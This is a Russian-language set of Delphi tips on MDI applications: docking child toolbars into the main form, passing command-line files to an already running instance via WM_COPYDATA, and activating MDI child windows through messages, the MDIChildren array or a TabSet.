  Align = alTop
  BevelOuter = bvNone
  object ToolBar: TPanel
  ...
  Align = alLeft
  BevelOuter = bvNone
  end
  object RxSplitter1: TRxSplitter
  ...
  ControlFirst = ToolBar
  ControlSecond = ChildBar
  Align = alLeft
  BevelOuter = bvLowered
  end
  object ChildBar: TPanel
  ...
  Align = alClient
  BevelOuter = bvNone
  end
end
TMdiChild {прородитель всех остальных}
  ...
  object pnToolBar: TPanel
  ...
  Align = alTop
  BevelOuter = bvNone
  Visible = False
end
procedure TMDIForm.FormActivate(Sender: TObject);
begin
  pnToolBar.Parent := MainForm.ChildBar;
  pnToolBar.Visible := True;
end;
procedure TMDIForm.FormDeactivate(Sender: TObject);
begin
  pnToolBar.Visible := false;
  pnToolBar.Parent := self
end;

Открытие выбранного файла в работающем приложении.

Автор: Пангин Дмитрий Викторович.

При программировании MDI-приложений возникает следующая задача: Если пользователь кликнул на файле, тип которого поддерживается создаваемым приложением, то, если приложение уже запущено, не нужно запускать новую копию приложения, а нужно открыть выбранный файл в уже работающем приложении. Я сделал это так (возможно есть более красивое решение):

// В файле проекта:
var
  i: integer;
  hMainForm: hwnd;
  copyDataStruct: TCopyDataStruct;
  ParamString: string;
  WParam, LParam: integer;
begin
  // ищем главное окно приложения, вместо Caption - nil,
  // поскольку к заголовку главного окна может добавиться заголовок MDIChild
  // (нужно позаботиться об уникальности имени класса главной формы)
  hMainForm := FindWindow('TMainForm', nil);
  if hMainForm = 0 then
  begin
    Application.Initialize;
    Application.CreateForm(TFrmMain, frmMain);
    for i := 1 to ParamCount do
      TMainForm(Application.MainForm).OpenFile(ParamStr(i));
    Application.Run;
  end
  else
  begin
    ParamString := '';
    for i := 1 to ParamCount do
    begin
      // запихиваем все параметры в одну строку с разделителями ?13
      ParamString := ParamString + ParamStr(i) + #13;
    end;
    // создаем запись типа TCopyDataStruct
    CopyDataStruct.lpData := PChar(ParamString);
    CopyDataStruct.cbData := Length(ParamString);
    CopyDataStruct.dwData := 0;
    WParam := Application.Handle;
    LParam := Integer(@CopyDataStruct);
    // отсылаем сообщение WM_COPYDATA главному окну открытого приложения
    SendMessage(hMainForm, WM_CopyData, WParam, LParam);
    Application.Terminate;
  end;
end.
// Обработчик сообщения WM_COPYDATA
procedure TMainForm.CopyData(var Msg: TWMCopyData);
var
  ParamStr: string;
  CopyDataStructure: TCopyDataStruct;
  i: integer;
  len: integer;
begin
  CopyDataStructure := Msg.CopyDataStruct^;
  ParamStr := '';
  len := CopyDataStructure.cbData;
  for i := 0 to len - 1 do
  begin
    ParamStr := ParamStr + (PChar(CopyDataStructure.lpData) + i)^;
  end;
  i := 0;
  while not (Length(ParamStr) = 0) do
  begin
    if isDelimiter(#13, ParamStr, i) then
    begin
      OpenFile(Copy(ParamStr, 0, i - 1));
      ParamStr := Copy(ParamStr, i + 1, Length(ParamStr) - i - 1);
    end;
    inc(i);
  end;
  inherited;
end;
// проверено, работает.

Выбор дочерних MDI-окон с помощью набора закладок TabSet.

Статьи по Delphi (011)…

По всей видимости, дочерние MDI-окна не отвечают на те же сообщения Windows, которые обрабатываются другими окнами. Ниже приведен способ выбора определенного дочернего MDI-окна таким образом, чтобы оно стало активным. Я читаю значение из компонента TINIFile и активизирую определенное дочернее MDI-окно:

{
Делаем активным дочернее MDI-окно. Мы должны
послать сообщение Windows API, поскольку
дочернее MDI-окно может реагировать только
на "аварийный" набор системных сообщений.
}
i := ReadInteger( 'Main', 'ActiveMDIChild', -1 )
IF (i>=0) AND (i<MDIChildCount) THEN
  POSTMESSAGE( Self.Handle, WM_MDIACTIVATE,
    MDIChildren[i].Handle, 0 )

MDI-формы обрабатываются другим обработчиком по-умолчанию (defMDIProc). Способов сделать это (см. заголовок) существует несколько. Дочерние Mdi-формы являются частью массива с именем (как ни странно) MDIChildren. Вы можете сделать так.....

For i := 0 To Form1.MDIChildCount - 1 Do
begin
  If Form1.MDIChildren[i].Caption = 'Это первый!' Then
    {Здесь можно активизировать дочернюю MDI-форму
    или выполнить какие-либо действия}
end;
MDIChildren[x] - указатель на экземпляр дочерней MDI-формы. Использование операторов IS и AS позволит вам иметь доступ к любым свойствам и методам любой дочерней формы. При открытии файла в набор Tabset добавляется новая закладка Tab, а ее заголовок ("caption") устанавливается равным имени открытого файла. Затем форма с помощью команды Tabset.AddObject добавляется как объект к tabset. При щелчке на tabset, чтобы иметь доступ к верному файлу, я использую следующий код:
TForm(TabsSet.Items.Objects[TabSet.TabIndex]).Show;
Содержание.